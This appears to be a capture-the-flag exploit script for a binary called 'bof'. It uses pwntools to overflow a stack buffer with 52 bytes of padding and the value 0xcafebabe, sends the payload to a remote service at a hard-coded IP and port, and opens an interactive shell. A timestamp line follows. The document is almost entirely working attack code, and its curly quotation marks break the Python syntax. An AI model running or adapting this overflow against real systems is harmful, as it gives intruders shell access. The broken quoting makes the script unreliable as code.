#Exploit for bof
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local=False
if local:
p = process("./bof")
else:
p = remote("143.248.249.64", 9000)
#address
aim_value_str = ‘\xbe\xba\xfe\xca‘
len_of_stack = 0x34
#payload
payload = ‘a‘*len_of_stack
payload += aim_value_str
#let‘s send
p.send(payload + ‘\n‘)
#yeah!We got the shell!
p.interactive()
时间: 2024-10-13 04:41:28